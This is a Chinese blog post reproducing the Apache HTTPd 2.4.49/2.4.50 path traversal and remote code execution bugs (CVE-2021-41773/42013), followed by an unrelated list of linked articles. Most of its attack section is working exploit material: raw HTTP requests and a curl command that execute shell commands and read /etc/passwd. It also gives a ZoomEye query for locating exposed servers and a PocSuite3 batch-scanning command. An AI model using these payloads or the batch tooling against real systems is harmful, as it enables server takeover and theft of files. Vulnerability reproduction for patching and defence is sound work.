CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!

在这里插入图片描述

CVE-2021-41773漏洞描述:

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

影响版本

Apache HTTPd 2.4.49/2.4.50版本

zoomeye语法

app:“apache web server 2.4.49 2.4.50”

复现过程:

环境搭建:

docker镜像:
https://github.com/blasty/CVE-2021-41773
搭建效果:
在这里插入图片描述

rce复现:

抓包:
在这里插入图片描述
poc:

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: your ip : port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 16 Oct 2021 07:06:04 GMT
If-None-Match: "29cd-5ce72f1ed2f00-gzip"
Cache-Control: max-age=0
Content-Length: 41echo Content-Type: text/plain; echo; ls

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "29cd-5ce4665e39700-gzip"
If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12echo; whoami

curl:

curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'

修复:

建议使用Apache HTTPd 2.4.49 与Apache HTTPd 2.4.50 版本的服务器更新Apache HTTPd 版本至最新。

批量利用检测利用工具:

可视化界面工具

Github地址:

https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

PocSuite3工具

批量:

python3 .\cli.py -r .\pocs\20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -f 1.txt --verify

CVE-2021-42013 目录穿越

漏洞成因:

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

在这里插入图片描述

在这里插入图片描述

触发:

ip:port/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

在这里插入图片描述

看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532557.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SSRF,以weblogic为案例

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 复习一下ssrf的原理及危害,并且以weblog的ssrf漏洞为案例 漏洞原理 SSRF(Server-side Request Forge, 服务端请求伪造) 通常用于控制web进而…

C++11 右值引用、移动语义、完美转发、万能引用

C11 右值引用、移动语义、完美转发、引用折叠、万能引用 转自:http://c.biancheng.net/ C中的左值和右值 右值引用可以从字面意思上理解,指的是以引用传递(而非值传递)的方式使用 C 右值。关于 C 引用,已经在《C引用…

Java安全(一) : java类 | 反射

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1.java基础 Java平台共分为三个主要版本Java SE(Java Platform, Standard Edition,Java平台标准版)、Java EE&#xff0…

对某公司一次弱口令到存储型xss挖掘

转自我的奇安信攻防社区文章:https://forum.butian.net/share/885 免责声明: 渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播** 涉及知识: xss注入及xss注入绕过 挖掘过程: 某次针对某目标信息搜集无意发现某工程公司的项目招标平台 …

C++11新特性选讲 语言部分 侯捷

C11新特性选讲 语言部分 侯捷 本课程分为两个部分:语言的部分和标准库的部分。只谈新特性,并且是选讲。 本文为语言部分笔记。 语言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 标准库 type_traitsunodered…

java安全(二):JDBC|sql注入|预编译

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1 JDBC基础 JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通…

java安全(三)RMI

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1.RMI 是什么 RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信…

java安全(四) JNDI

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java…

java安全(五)java反序列化

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 1. 序列化 在调用RMI时,发现接收发送数据都是反序列化数据. 例如JSON和XML等语言,在网络上传递信息,都会用到一些格式化数据,大多数处理方法中&#xff0c…

git merge和rebase的区别与选择

git merge和rebase的区别与选择 转自:https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅(geeeeeeeeekgithub) 这是一篇…

java安全(六)java反序列化2,ysoserial调试

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! ysoserial 下载地址:https://github.com/angelwhu/ysoserial ysoserial可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据&…

java安全(七) 反序列化3 CC利用链 TransformedMap版

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 目录图解代码demo涉及的接口与类:TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解总结&#xff1a…

java安全(八)TransformedMap构造POC

给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 上一篇构造了一个了commons-collections的demo 【传送门】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd进行自动微分

Pytorch Tutorial 使用torch.autograd进行自动微分 本文翻译自 PyTorch 官网教程。 原文:https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在训练神经网络时,最常使用…

TVM:编译深度学习模型快速上手教程

TVM:编译深度学习模型快速上手教程 本文将展示如何使用 Relay python 前端构建一个神经网络,并使用 TVM 为 Nvidia GPU 生成一个运行时库。 注意我们需要再构建 TVM 时启用了 cuda 和 llvm。 TVM支持的硬件后端总览 在本教程中,我们使用 cu…

TVM:设计与架构

TVM:设计与架构 本文档适用于想要了解 TVM 架构和/或积极开发项目的开发人员。页面组织如下: 示例编译流程概述了 TVM 将模型的高层描述转换为可部署模块所采取的步骤。要开始使用,请先阅读本节。 逻辑架构组件部分描述了逻辑组件。后面的部…

Nvidia CUDA初级教程4 GPU体系架构概述

Nvidia CUDA初级教程4 GPU体系架构概述 视频:https://www.bilibili.com/video/BV1kx411m7Fk?p5 讲师:周斌 本节内容: 为什么需要GPU三种方法提升GPU的处理速度实际GPU的设计举例: NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初级教程5 CUDA/GPU编程模型

Nvidia CUDA初级教程5 CUDA/GPU编程模型 视频:https://www.bilibili.com/video/BV1kx411m7Fk?p6 讲师:周斌 本节内容: CPU和GPU互动模式GPU线程组织模型(需要不停强化)GPU存储模型基本的编程问题 CPU与GPU交互 各自…

Nvidia CUDA初级教程6 CUDA编程一

Nvidia CUDA初级教程6 CUDA编程一 视频:https://www.bilibili.com/video/BV1kx411m7Fk?p7 讲师:周斌 GPU架构概览 GPU特别使用于: 密集计算,高度可并行计算图形学 晶体管主要被用于: 执行计算而不是 缓存数据控制指令…

由前中后遍历序列构建二叉树

由前/中/后遍历序列构建二叉树 基础 首先,我们需要知道前中后序三种深度优先遍历二叉树的方式的具体顺序: 前序:中左右中序:左中右后序:左右中 另外,要知道只有中序前/后序可以唯一确定一棵二叉树&…